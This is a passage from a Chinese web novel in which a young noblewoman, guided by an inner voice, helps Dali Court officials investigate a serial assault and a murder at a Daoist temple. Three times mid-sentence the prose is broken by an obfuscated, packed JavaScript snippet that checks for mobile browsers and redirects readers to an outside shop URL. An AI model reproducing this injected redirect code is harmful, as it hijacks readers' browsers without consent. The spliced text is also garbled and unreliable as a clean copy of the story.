沈缨华这才明白裴湛为何如此生气,自己确实草率了,沈家、万安观都把她保护得很好,全然忘了亡命盗匪无处不在,她只是粗浅会些拳脚的弱女子,被贼人逮住只有死路一条。 裴湛见刚才还气势汹汹的小娘子,此刻正一脸心虚地低头揪衣角,他收起横刀,转身招呼手下再去搜查一遍,约莫半个时辰,大理寺将驿站里外搜了个遍却毫无发现。 大堂里,村民们七嘴八舌向耿司直说起抓贼经过。 酉时末戌时初,村中货郎钱大收摊回家,远远瞧见家中黑灯瞎火,顿觉不好,自家娘子和老母从来都是等他回家再用晚膳,今天却提前熄灯,事出反常必有妖。 他随手操起门口的木棒蹑手蹑脚进了家门,月光照进黑漆漆的房内,他隐约看见有人站在床边,起初以为是自家娘子,刚喊一声,谁知那人转身就要翻窗逃走,他一边上前阻止一边大喊捉贼。 近来出现一杀人淫贼的消息早已传遍全县,左邻右舍一听有求救声,各家青壮年立即操家伙出来帮忙。 男人们出去捉贼,女人们则进屋查看钱家娘子和钱老母的情况,两人皆被迷晕,浇上一碗冷水才逐渐苏醒,说是大半个时辰前有一陌生女子在院门口讨水喝。 婆媳二人非常警惕未让其入门,可后来没过多久二人突然眼前一黑……好在钱大回来及时,两人衣着完好无损,尚未被害。 贼人竟如此大胆,村中男女老少都坐不住了,纷纷拿起棍棒全追了过来,那贼人跑得极快,前头的村民只瞧见他翻墙进了驿站馆舍,此时却已无影无踪。 7. 第 7 章 “行行行,本官已知晓原委,你们先回去吧。”耿文达被这群村民吵得头疼,眼下贼人也跑没影了,赶紧打发走他们好商量后续事宜。 村民见官爷发话,纷纷转身欲走,忽然有人惊叫:“咦?那不是胡七嘛!” “胡七不就是那贼人!” “官人,贼人在那儿!” 先前巩县县令认定胡七是那采花贼,在县里村里张贴了他的画像,村中有人认出了站在小吏身后看热闹的胡七。 胡七大呼冤枉:“我不是采花贼,大理寺的官人已还我清白,先前是有人诬陷我!” “放屁,我听梁山说,高县令在你家中找到作案的匕首和血衣,你这贼人竟还好意思喊冤。” “官人快把他抓起来!” “官人为何不将他绑起来,莫不是收了好处,要放贼归山!” 此言一出,村民们群情激奋涌了上来,嚷嚷着要捉拿胡七,裴湛抽出横刀大呵:“大胆,退后!”大理寺众人见状也纷纷抽出横刀,将围拢的村民逼退,双方僵持不下,现场一时剑拔弩张,局势不稳。 阿玲出声:“强龙不压地头蛇,大理寺虽然厉害,但架不住村民人多势众,弄个不好就是大型流血事件,你快去劝一劝。” 沈缨华差点没控制住表情,在心中嚷嚷:“我?!我去劝架!你疯了吧!” “核心矛盾是,村民误以为大理寺包庇罪犯,你把话说开,问题不就迎刃而解。” “为什么要我去啊。” 阿玲恨铁不成钢:“你又不是大理寺的官员,且是女子,村民对你不会有刻板印象,更容易博得他们的信任。” 这话倒也有几分理,沈缨华只好挪了几步,上前对领头安抚村民的老人叉手行礼:“老翁,您是村长吧,我姓沈,家父托大理寺官人捎我一程回长安。我可作证,官人带胡七回此地是为了核验他是否为真凶,并非要放走他。我们酉时到驿站,用膳后即回房歇息。刚听闻被害的娘子说她们大约是酉时末戌时初被人迷晕,这贼人恐怕不是胡七。” “这……这时辰确实对不上。”村长一时被问住。 却有其他村民插话:“若是他趁看押的官人不注意,溜出去迷晕钱家娘子作案呢?” 胡七:“你血口喷人,我晚食后一直都在屋里,根本没出去。” “哪位官人能替你作证?” 沈缨华看向负责看管胡七的两位官人,一人支支吾吾说自己拉肚子去了茅房,一人则犹豫片刻说他锁上房门去给上司送卷宗,回来时胡七仍在屋中。 胡七忙辩解:“我……我真没出去,官人,您休听他们污蔑之词。” “就是你……” 耿文达用刀鞘拍了拍桌子:“吵什么吵,现在是大理寺办案,不是市井骂街。” 裴湛眉头紧锁,也被吵得心烦,局面乱糟糟的,若是不摆平这群村民,明日怕是就有大理寺欺压百姓的流言传出,他正思索该如何收场。 沈缨华又问村长:“请问钱家娘子和阿婆可在此处?” 钱家婆媳上前行礼,沈缨华客气地问:“敢问钱家娘子、阿婆,那伪装成女子的贼人身高几尺?” 钱家娘子仔细回忆,说:“大约五尺有余,比我略高一些。” 钱家阿婆补充:“和小娘子身高接近。” “那便是五尺五寸左右。可你们瞧,那胡七身高近六尺,明显和你们描述的贼人沾不上边呀。” 胡七立即挺胸抬头,生怕自己矮了几分,众人惊愕,议论纷纷,莫不是真的抓错了人,但仍有几个刺头不肯认,嚷着:“若那胡七故意佝偻身子,钱家婆媳她们未曾注意到呢?” “有道理……” 沈缨华思量片刻,又问:“那贼人虽已易容,但钱娘子和阿婆可还记得他有何特征?” 两人仔细回忆,对视一眼,又摇摇头,说:“没有,就是一普通妇人样子。” “有无特殊的口音?再好好想想。” “真无特别之处,声音听起来就是稍显尖细的女声,也没有口音,相貌也是寻常样子。” 沈缨华继续追问:“会不会是离得太远,你们未看清?” 钱家阿婆立即否认:“小娘子,当时天色虽暗了些,但他离我婆媳二人仅两三步,这能有什么看不清的,阿婆我还未眼花到这个地步。” 阿玲提醒:“眼睛的颜色!” 沈缨华立即问:“那人的眼睛是什么颜色?” “黑色!”两人异口同声。 “这么肯定?” “就是黑色,并无特别。” 沈缨华咧嘴一笑:“胡七,你下来让大家瞧瞧你的眼睛。” “好嘞!”胡七屁颠颠地从后面钻出来,说:“瞧好了,小爷的眼睛是灰绿色!” “真是……这……”村民瞧了又瞧,先前他躲在后面无人注意,但走近几步便能看出,胡七高眉深目,眼瞳泛绿,身量不对可以说他是曲着腿,可这眼睛的颜色如何能作假,弄错了,真不是他。 钱家婆媳也凑上前仔细端详,肯定地说: “不对,不是他,这颜色一瞧就不像那人。” “胡七,快多谢钱家娘子和阿婆帮你洗清冤屈。” 胡七乖乖躬身行礼,一场闹剧终于平息。 第二日,晨光悄悄爬上床榻,沈缨华才逐渐从迷茫中清醒,昨夜一番折腾,她回房倒头就睡,眼下终于得空请教阿玲。 “阿玲,你怎么一下便注意到胡七的眼瞳颜色是关键?” “这得从你看破胡七伪装说起,他那时的扮相并不差,为何被你一眼识破?不就是因为那双绿眸嘛,这么明显的特征,竟然没有被害人提及,太反常了!” 沈缨华一下被点醒,恭维道:“你好生厉害!” 阿玲清了清嗓子,故作高深:“细节决定成败。”随即又向沈缨华科普后世的各种侦破技巧,也甭管她能不能听懂,先填鸭式教学,把知识先灌进去,后续在实践中慢慢消化,反正这采花贼奸杀案就是现成练手的例子。 “娘子,您醒了吗?”含霜打断了教学。 “嗯,醒了,就你一个人?玉露去哪儿了?” “玉露阿姊怕娘子醒来会饿,先去厨房端些吃食。” 含霜一边帮沈缨华换下寝衣一边各种夸赞她家英明神武的丹娘:“娘子昨夜好生厉害,三言两语便把那群人镇住了,还帮胡七洗清嫌疑,您是怎么想到这些的?” 沈缨华捋了捋有些凌乱的头发:“观察,细节决定成败。”盗用后世名言装一装,惹得含霜满眼崇拜。 她刚梳洗完毕,玉露提着食盒进来,见她精神极好,笑着说:“娘子,有新鲜的榆叶粥、春饼,快来尝尝。” 沈缨华尝了一口:“嗯,好吃,清香扑鼻,没想到这驿站的早食还算不错,比昨晚那满是腥味的肉羹好吃。来,坐下一起!”主仆三人边吃边聊昨夜风波。 咚咚咚,叩门声响起,门外传来杨沅君的声音:“丹娘,起来了吗?” 含霜起身开门,将杨沅君迎了进来。 “沅娘,朝食可用过了?” “吃过了,我是不是打扰你们了?” “没有,刚吃完,玉露正收拾食盒呐。听含霜说,裴少卿和耿司直他们一早便去村里查找线索,你怎么没去?” “你不是对断案有兴趣嘛,所以要不要随我一起……哎哎哎。” “走走走。”沈缨华性子急,抓起杨沅君就要走,含霜赶紧揣上几样小点,免得她家馋嘴的娘子中途饿了。 清溪村距离驿站不远,走路不过一炷香便到了,大理寺的人守在村口,见来者是自己人,引着四人去钱家院子。 清溪村沿溪而建,村子主要分为东西两侧,中间有石板桥横跨溪流连接村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317606|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落,钱家便在东侧的尽头,后院有一条小道是通往石板桥的捷径,昨夜的贼人便是从这儿通过石桥和西侧的村子,再上主路奔向驿站。钱家另一侧还有一条小道可通往后山的密林。 沈缨华有些奇怪,为何那贼人要冒险穿越村子往主路逃跑,直接潜入密林不是更容易逃脱吗? 院子里,裴湛和耿文达反复查看脚印和院墙的刮蹭痕迹,最终确认那贼人是从后院的柴火堆附近翻进来,在窗上钻破一小孔,将迷烟吹进屋内,放倒钱家婆媳。 裴湛双手抱臂,看着院墙角落,心中疑惑,以前这贼人都是将迷药下在吃食中,为何这次是用迷烟,总感觉他此次作案匆忙,像是临时起意一般,但那案发时间明明…… “裴少卿,裴少卿。”沈缨华的声音让裴湛回过神,她问:“您是不是也觉得这次贼人作案匆忙?” “嗯。” “您是不是还觉得这起案子的时间特别奇怪,酉时末盯上被害人,不久迷晕两人,可什么也没干,硬是拖到戌时,家中郎君回来才匆匆逃走。他在等什么,难道这事儿还需要提前做法,好生奇怪!” 裴湛又听到她的虎狼之词,猛咳一声,提醒:“沈娘子你说话注意分寸。” 沈缨华后知后觉,想起自己的大家闺秀身份,低声道:“多谢少卿提醒,下次我一定记得趁人少的时候说。” 裴湛无语,这是人多人少的问题吗! 沈缨华继续喋喋不休说起自己的发现:“裴少卿,您看这贼人的足印,两步相距约两尺三寸,说明他身高大概五尺五寸左右,不过咱们已经知道了。” “等等,丹娘,这……这足印距离如何能推出他身长五尺五寸?”杨沅君说出了在场其他人的疑惑。 阿玲嘚瑟:“因为这是马玉林大佬的码踪术!” 这话沈缨华可不敢说,只能强行解释:“我闲来无事,常观人走路,发现身量高者腿长步长,反之亦然,这步长反推是我个人总结,权当参考,大家若是不信,可自行验证。” 裴湛随即叫来几个身高不一的小吏,让他们各自行走,发现步幅长短确是与各自的身高对应。 “沈娘子真是让耿某佩服,以前听闻军中常雇佣老练的猎户以足印寻踪,没想到除了查找方向,这小小的足印竟还可以反推出身高。娘子聪慧!” 沈缨华假装听不见阿玲揶揄的嘲笑声,继续输出马大佬的知识:“这些脚印都有拖痕,这人怕是习惯拖着后跟走路,不爱抬高步子,步态如此随意,出身应是不高。” 裴湛点头赞同:“高门子弟哪怕是不着调的纨绔,自幼皆有先生指导,走路必定注重仪态。” 现场勘察完毕,记录好线索后,众人准备回驿站收拾一番去县衙。村里看热闹的村民围在一侧,窃窃私语,沈缨华正欲离开,无意间瞟到昨夜带头闹事的一位中年大叔,她退回去客气行礼:“阿叔,我记得昨儿您好像提到过一位姓梁的郎君说胡七家中找到匕首和血衣,那位梁君如何得知此事?” “梁山是县衙的捕快,搜查胡七家宅的时候,他也在场,所以消息比咱们灵通些。” “梁君昨日可在?” “在的,昨日就在我身后呐,也是他眼尖认出了胡七。” “那他今日在家吗?我想问他几个问题。” “他不住这儿,他是杀猪匠孙伯的女婿,昨儿是恰好来探望丈人。” “多谢阿叔。” “小娘子客气。” 裴湛见沈缨华跟村民说了许久才跟上来,问:“沈娘子,那人有问题?” 沈缨华摇头:“没有,只是随口多问了几句。” 马车里,沈缨华在脑海里仔细梳理如今已知的线索:犯人是男性,右撇子,身高约五尺五寸,擅长男扮女装,可能出身社会底层,没有外乡口音,大概率是本地人。线索太少,目标范围太广根本无从查找,哎…… 8. 第 8 章 巩县县衙,高县令早已恭候多时,一见大理寺的车马,正要演一出嘘寒问暖的样子戏,马车上下来的却是几位小娘子。 他心中腹诽:先前打听到的消息有误啊,说什么裴、耿二人洁身自好、刚正不阿,结果外出办案还要带姬妾,还是四个……不愧是年轻人,身强体壮火力旺。 裴湛和耿文达跟在后面一前一后下马,高县令忙迎上去:“裴少卿、耿司直,一路辛苦,下官已备好酒菜屋舍,二位先用膳可好?” “有劳高明府。”耿文达转头询问沈缨华:“沈娘子,您是想先用膳还是回屋歇息?” “这位是耿司直的?”高县令挤眉弄眼,揣着明白装糊涂,想套出各位娘子的身份,午后让自家夫人来活动活动。 耿文达被吓得眼皮一跳,赶紧摆手:“不不不,沈娘子不是我的!” 裴湛瞪了一眼手足无措的爱将,转头介绍:“高明府,这位是刑部沈侍郎的贤孙女,那二人是她婢女。本官受沈侍郎所托,顺路送沈家娘子一行回长安。这位是我手下,大理寺仵作杨娘子。” “沈娘子、杨娘子,高某眼拙,多有得罪。”高县令心里一紧,赶紧行礼,幸好自己这死嘴还未说出更孟浪的话,吴兴 沈氏可不是他这寒门能得罪的,听闻这位沈侍郎还有二子在朝为官,真是要老命了。 沈缨华倒不介怀,客气回礼:“无碍,今日冒昧造访,劳烦高明府暂借几间屋舍,真是多有叨扰。” 高县令一张老脸笑成菊花褶,语气谄媚道:“沈娘子这话真是折煞高某,娘子金枝玉叶,屈临巩县,实乃巩县之幸,某这便……” 裴湛不耐烦地出言打断“商业吹捧”,道:“午食延后,先去勘验尸首。” 虽案发已有半月,但因案件涉及公主道友,高县令唯恐有失,在停尸的殓房放置大量冰块保存尸身。 殓房外,高县令以衣着单薄为由不肯入内,派手下的冯县尉陪同,顺便劝阻沈缨华:“沈娘子,屋内寒凉,您还是别进去了吧。”又低声补充:“死人可不好看,娘子莫去。” 含霜、玉露一左一右抓着她的胳膊:“娘子,这殓房实在过于恐怖,咱们别进了,免得夜里噩梦连连。” 沈缨华从阿玲那儿听了几个侦探故事,正是膨胀之时,哪里听得进这话,吩咐道:“你们在外等候,我瞧瞧便回!”说罢撇下两人,急匆匆跑进殓房。 一进门,温度骤降,腥臭之气扑面而来,那是血肉腐烂后特有的酸馊腻臭味儿。沈缨华赶紧用手捂住口鼻,但那臭味好似可穿透衣骨,她瞬间寒毛陡立,胃里酸水翻涌,眼看就要憋不住了。 杨沅君立即塞给她一个圆形的小布囊,见其他人将此囊放在鼻下,沈缨华也有样学样,一股清新又略带冲劲儿的草药味充斥鼻腔,腐臭味儿顿时减轻不少。 屋内中央放着一张高塌,上面躺着□□的尸身,远远看去白色外衫下透着骇人的青紫。 其他人早已见惯并无反应,可沈缨华是第一次见到死尸,可怖程度远超阿玲的描述。 她下意识后退几步,耿文达劝说:“沈娘子,您还是出去吧,这尸体又臭又瘆人,沅娘勘验完了,我让张金把结果整理给您便是。” 沈缨华深呼一口气,故作淡定地说:“我没事,就是这味儿太大,我退后透口气。” 裴湛瞥了她一眼,不动声色地把这逞强的女子挡在身后,免得她被吓得夜里发梦生病耽误正事。 杨沅君小心撩起尸体胸前的外衫,胸口赫然出现一处竖直的刀口。 “我瞧这刀口有些奇怪。”杨沅君端详片刻后说。 耿文达忙问:“有何奇怪。” “伤口应该是两种利器叠加造成的,其中一道伤口,两端平滑,切口较窄,是两端有刃的利器,比如匕首。另一道则不然,刃口并不锋利,且切口较宽,像是……剪子。” 此话一出,所有人都陷入沉思,沈缨华躲在裴湛身后问:“为何一开始会认定凶器是剪子?” 冯县尉说:“案发地上有一把染血的剪子,根据现场情况推测,可能是凶手遭遇被害人反抗时,随手拿起摆在案几上的剪子行凶后,丢弃在地。” “莫不是凶手的障眼法,先用匕首捅死被害人,又用剪子补刀,伪装成凶器?”沈缨华推测。 杨沅君:“可……这样做有何意义?” 众人沉默,都在猜测真凶目的何在,裴湛皱眉吩咐:“疑点暂且记下,沅娘,把尸体的衣物脱掉,全身都检查一遍,看是否还有遗漏的伤口。” “好。” 几位官人默契地转过身,沈缨华面对裴湛,尴尬一笑,稍稍挪到一侧,从他的手臂旁小心探出头,偷偷揪住裴湛的衣角,不停吞咽口水缓解害怕。 □□的尸体眼睛半合,眼球浑浊,脸上有些青紫,因早已过了尸僵期,躯体浑身绵软,杨沅君并不费力便将道袍内衣一一褪去,青白的尸身逐渐暴露……亵裤脱下后,杨沅君愣住了。 阿玲忍不住尖叫:“卧槽!” 沈缨华的视线也僵在一处,杏眼瞪得溜圆,她嘴巴开开合合却说不出一句话,裴湛注意到她的奇怪反应,忙问:“怎么了?” 沈缨华满脸涨红,慌忙捂住双眼,退到裴湛胸前,尖叫:“他是男人,是男人。” 在场的官人们面面相觑,什么乱七八糟的,全部转过身来,杨沅君结结巴巴地说:“少……少卿,□□道长是男人。” “什么?!” 屋内几人,除了沈缨华,全部围拢到尸体边,反复检查,被自己的结论吓一跳的杨沅君也回过神,再次查看,最终得出结论:□□是阴阳人,他上身有女性的胸部,□□有并不明显的男性特征,相对正常男性小了许多,但器官完整。所有人都惊愕不已,半天无法消化这个事实。 还捂着眼睛的沈缨华问:“他既是男性,如何会被欺辱?莫不是那贼人本就不是劫色,而是冲他来的?” 冯县尉点头:“沈娘子说得有理。” 耿文达反驳:“不对啊,若是寻仇为何还要准备两种凶器,直接刺几刀泄愤就得了。” 沈缨华突然有了灵感:“啊!你们说会不会有两个人所以用了两种凶器!” 裴湛盯着伤口说:“沅娘,将伤口剖开查看。” 杨沅君点头,立即从工具包中取出一柄形似柳叶的细长尖刀,垂直于伤口重重划下一刀,而后顺着切口继续向下,尸体胸口的刀伤彻底暴露。 “疑似利刃的伤口很深,几乎贯穿心脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317607|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,疑似剪子的那道非常浅,力道差异较大,恐怕确如丹娘所言,行凶的有两人。” 耿文达听得头疼:“寻仇也好,临时起意也罢,怎么又多出来一人?” “张金,将尸体勘验结果和疑点逐一写下,所有人用完午膳后,即刻出发去清辉观。” 满脑子问号的众人心事重重用完膳,马不停蹄又回到案发地清辉观。 开门的女冠恰巧便是先前打过交道的灵华,她惊讶地发现,早晨才从观中离开的“访亲”香客,此刻正一身官服被高县令迎入前院。 观主凌虚和一众女冠居士亦是被震惊到无话可说。 裴湛也懒得废话,直接令人将观中人先控制住,而后径直走进先前被封禁的袇房。 现场除了有些灰尘,其他陈设均未移动。榻上还留有□□的血印,大片干涸的深褐色看得人触目惊心,小案几翻倒在地,绸布、丝线散落一地。 沈缨华小心打开绸布,是尚未完成的道德经刺绣图,针法细腻,想来死者生前极擅女红。 裴湛四处查看,门窗完好,并无外力强行突破的痕迹,看来确是死者引狼入室不幸殒命。 耿文达带人在前院询问女冠,最先发现被害人的是入观不久的灵微。她在观中清扫时,恰好经过死者院门外,听见呼救声,入院内袇房查看,却见死者双目圆睁,衣衫凌乱,胸前渗出大片血花,已无生气。 灵微被吓得瘫倒在地惊叫连连,引来另一位女冠无尘,她称在院外目击到一粉衣人翻出院墙落荒而逃的背影。 耿文达问:“灵微道长,你当时在袇房内可有正面目击行凶者?” 虽命案已过半月,但胆小的灵微一想起□□死不瞑目的双眼,依旧是害怕得发抖,只敢摇头一句话也说不出来。 耿文达无奈,只得先问无尘,她仔细回忆后亦是摇头:“我只瞧见那人身着粉衣的背影,从院墙一跃而下,又快速逃向竹林。我一开始以为是窃贼,担心他伤了灵微,就赶紧跑入袇房,结果……哎……” 裴湛恰好过来,随口问:“为何是担心灵微,那院子不是□□的嘛。” 无尘一怔,忙解释:“我听见灵微的尖叫声,以为是她遇袭。”裴湛点头没有应声。 沈缨华见灵微还是面有菜色,便开口转移话题:“□□擅长刺绣吗?” 灵微思量片刻:“我入观不久,平日只见□□道长常与信众讲道,不太清楚她的喜好。”无尘亦是摇头,沈缨华不置可否。 清辉观其他女冠被逐一问询,人人皆说□□道长人缘极好,其信众下至村妇上至公主,均一视同仁,常有信众因私事求助开导,她也热情迎接,因此当日有数名女冠见其引一粉色衣衫的女子入袇房,大家并未觉得奇怪,只当她又是在开解信徒。 沈缨华听着女冠的证词,沉默不语,实则在心里与阿玲讨论案情。 沈缨华:“阿玲,你说这些人到底知不知道□□其实是阴阳人?” 阿玲纠正:“严格来说他就是男性,只是患有性发育异常相关的疾病,导致□□增大,甚至影响了他的声带,所以才能顺利扮成女人。而且,你也看出来了吧,她们都在说谎,明明有很多人讨厌死者,却又对他做出如此高的评价,就像是……串供!” 9. 第 9 章 无独有偶,大理寺也怀疑清辉观的人早已串供。 裴湛低声对冯县尉耳语几句,他匆忙领命,召集人手去前院集合。 清辉观前院,冯县尉挺直背脊,一手叉腰,一手扶刀,厉声呵斥:“昨日,有人向本官透露死者□□身份存疑,你们身为同门却知情不报,该当何罪!” 女冠们面色紧张,不知所措地看向观主,凌虚脸色煞白,心虚地低下头,不敢直视众人。 冯县尉见有戏,再次施压:“本官最后问你们一次,速速从实招来,不招那就等着下狱吧!” 女冠们顶不住压力,纷纷吐露实情。 “冯县尉,并非我等不肯实报,是观主发话, 不许我们透露关于□□的任何消息,否则会被赶出清辉观。” “没错,冯县尉,要不是凌虚道长耳提面命,我早就想说了。这个□□来历不明,她自称幼年便入道门,但其实对道典异常生疏,仅能认得几个字罢了。” “还有,她欺骗信众买一些不知所谓的符纸丹药。山下那位柳阿婆就买了不少,但□□根本不会画符炼丹,我多次提醒她莫要做伤天害理之事,她却骂我多管闲事。” “冯县尉,我还看到过□□与陌生外男来往密切,私相授受,向观主举报,却不了了之。” 有了女冠们的证词,冯县尉立即将观主凌虚作为嫌疑人收押,她一开始抵死不认□□身份存疑。 冯县尉骤然发问:“凌虚,你可知□□是男的?” 凌虚后背冷汗乍起,不敢应声。 冯县尉继续说:“别以为装哑巴就能躲过去,我有的是手段让你开口!” 凌虚强撑精神,答:“贫道初见时,并不知其是男儿身!” 冯县尉冷哼一声:“所以是何时发现的?” 凌虚低着头,嗫嚅道:“不久前才发现的。” 冯县尉一掌拍在桌案上,呵斥道:“竟还敢诓骗本官!以为拼死不认就行了?好好好……你可知欺骗公主该当何罪!” 凌虚抖如筛糠的腿,彻底瘫软,扑在地上,战战兢兢承认:“冯县尉,我说,我说……那阴阳人入观不久,我就发现了端倪。 我虽未见过□□,但其师傅玄月道长与我有旧,曾听她提过徒儿□□,垂髫入道,术业精湛。这个阴阳人虽巧言善辩,但道典生疏,字也识不得几个,所以我便托人私下调查……” 五年前,真□□从荆州的清安观一路北上至洛阳,又沿官道行走至巩县,有一樵夫曾见她在郊外的空庙中歇脚,随后下落不明。假□□不知何故拿到了真□□的度牒,凭借清秀的样貌和雌雄难辨的声音,替了真□□的身,入观成了道长。 凌虚当即怒气冲冲找上“□□”,径直推门而入,恰巧撞见他正在房中便溺,这才发现此人不光身份作假,甚至连性别也是假的。 情况太过荒唐,凌虚一时竟说不出半句话。 “□□”却异常淡定,他抖了抖身子,慢条斯理穿上亵裤,完全没有一丝被抓包的慌乱,甚至扯开嘴角笑了笑,道:“没想到这么快就被观主发现了。” 凌虚怒气更甚,她竭力克制情绪,问:“你到底是谁?把□□藏哪儿了?有何目的?” “□□”旁若无人走到门边,确认门外无人,合上门,说:“观主你还是别问了,反正我也不会应。瞧你现在这架势,是想去官府告发我?” “当然!” “告发我之后呢?” “之后?” “□□”冷笑一声,眼神阴狠冰凉,紧盯着凌虚,说:“之后,我被官府下狱,在牢里硬是攀扯你明知我为阴阳人,却放任我入观为道。然后你也被抓入大牢,严加审问。不过最后因为没有实证,官府还是会放了你,但是嘛,堂堂一观之主竟跟囚犯扯上关系,名声彻底坏了,你丢了观主之位,清辉观也毁于一旦。你说,我这个故事编得好吗?” 凌虚头皮发麻,哑口无言,她知道这人是来真的,一旦被告发,必与自己不死不休,但若任其待在观中…… “□□”就像猜到凌虚的心思一般,莞尔一笑,语气轻松地说:“故事不过是编的,观主你是聪明人,定也不想两败俱伤,既然如此,全当不知道吧。你瞧,我来观中不过数月,香客都翻了一番,假以时日,我定让清辉观名声大振,不输长安洛阳的大观!” “□□”的话就像包裹蜜糖的毒药,凌虚明知那层糖霜之后是足以令她万劫不复的深渊,但此刻的心动战胜了理智。 “□□”就是有这种魔力,他三言两语便能拽住他人软肋,蛊惑其一步一步踏入他的掌心。 香客如此,凌虚亦如此。 她前一秒还在暴怒中,后一秒便泄了气,内心隐秘的欲望如春笋探了头。不过几息,脑海里竟编织出一副“盛景”,清辉观中香客如织,方圆百亩良田皆为其所有,香积钱堆满质库,作为一观之主的她成为达官显贵座上宾,甚至入驻太清宫…… “□□”一瞧便知自己拿捏住了凌虚,莞尔一笑,打开房门,道:“观主,该做早课了,走吧。” 凌虚从臆想中回过神,抿着嘴,一声不吭出了门…… 案件至此早已不是一件普通的奸杀案那么简单,裴湛决定兵分三路,他去县衙查找有关采花贼的线索,冯县尉继续彻查清辉观,弄清真假□□的来历,杨沅君和耿文达分别查验尸体、勘察现场。 沈缨华被尸臭味儿恶心坏了,坚决不回敛房,誓要抱紧裴少卿大腿。 县衙里,高县令将目前调查到的采花贼资料全部汇总,供两人查验。 沈缨华抽出几卷卷宗摊开,撑着胳膊坐在桌案前,逐行过目,鬓边的发丝垂下几缕,春风裹着些许暖意溜进窗,青丝随风扬起,她身上的梨花香钻入他的鼻尖,裴湛不自在地揉了揉鼻子,起身退开几步。 第一起□□案发生于一月十日,县城东面的九河村,被害人是位孀妇,家中仅有婆母幼子。第二起案子发生于十日后,距离九河村仅几里的张家村,被害人是独居的女户…… 阿玲提醒她:“连环作案有自己的作案模式,模式即漏洞,只要能找出被害人的共性和凶手的作案规律,必能锁定嫌疑人范围。” 沈缨华立即将案发的时间、地点、受害者情况逐一誊抄……嗯?笔尖一顿,随即展开一页纸,以平面图的形式简要标注时间、地点、距离。 “裴少卿!” 裴湛正查看卷宗,头也不抬,问:“发现什么?” “这采花贼犯案有规律,您瞧,一月的这三起案子相隔均是十日,且都在县城东郊附近。二月的这两起案子,相隔亦是十日,又集中在县城西边。到了三月包括最后这桩杀人案在内的三起案子,又全部在县城南面,作案时间相隔仍是十日,这不可能是巧合吧。” 裴湛站起身接过沈缨华的图又对着卷宗一一查看,还真是,而且每月发生的案子不光位置集中,连时间间隔都是十日,似乎这个犯人只有这一时段有空闲作案。 沈缨华知道自己找到了重要线索,亮晶晶的双眼紧盯着裴少卿,一脸求表扬的神情,裴湛嘴角微扬,遂了她愿:“沈娘子,果真聪慧。” 沈缨华眉眼弯弯,又得了大理寺少卿的夸赞,不枉她看得眼花腿疼,哎……腿又麻了,她撑起胳膊,准备慢慢挪动双腿活活血,哪知脚掌突然一抽,哎哟一声,歪倒在地。 裴湛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317608|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹲下躬身问:“怎么啦?” “脚转筋了,嘶……” 裴湛抬头四顾,婢女刚退下去准备晚食还未回。 “沈娘子,得罪了。”裴湛随即抱起沈缨华将她放在矮塌上,问:“哪只脚?” “左脚。” 沈缨华有些难为情地低下头,自己竟又在这位板正威严的裴少卿面前丢了脸。说来真是倒霉,她在人前都是标准大家闺秀,自从遇到这位少卿大人,屡屡失言失态,看来两人八字相冲。 “你且忍忍。”说完裴湛单膝跪于塌前,一手按住她的胫骨,一手握住她的左脚鞋底左右晃了晃,突然向后一压,沈缨华疼得神魂出窍,话虽未出口,但心里问候了裴某人全家。 “现在好了吗?” “好了好了,多谢裴少卿。”她扯出一抹假笑,想要收回脚。 裴湛却没放手:“别动,你这是寒气入足,血行不畅,我替你把筋结揉开。” 说罢,自顾自地脱下她的鞋,指腹时轻时重揉捏她的前脚掌中心,说:“涌泉穴,温通足络。” 酥酥麻麻的酸胀感自足底涌来,沈缨华下意识蜷起脚趾,足弓绷成新月,欲强行挣脱,却不得。 “沈娘子,你若这般提防,这筋结何时才能揉开,我又怎么得空查案。” 沈缨华又羞又恼,道:“明明是你手法粗劣,怎还诬上我了!” “粗劣?” 他的手掌覆上她的小腿肚,沈缨华吓得嚷了起来:“你这是做甚!” 裴湛掌根稍稍用力,转揉其小腿后侧,道:“承山穴,转筋揉之立缓。”一股热流顺经络蜿蜒而上,血脉似从寒潭中奔涌而出,一路烧至她的耳尖。 原本还在挣扎的沈缨华乖乖停下动作,安静地看着眼前的男子,眉峰似刀,垂眸似星,长睫似羽,双手又暖又稳,她有片刻失神,好像在哪里见过这一幕。 阿玲忽然出声:“我好像也觉得似曾相识。” 沈缨华吓得身子一颤,一时大意,竟忘了身子里还住了一位“访客”。 裴湛还以为是自己下手重了些,抬眸问道:“弄疼了?那我轻一些。” 沈缨华刚一张口,话还未出,门口传来两声惊呼:“娘子!” 玉露、含霜回来了。 沈缨华像是犯错被抓包的小孩,使劲拽回腿,解释:“我脚转筋了,裴少卿帮我按穴位,缓解一二。” 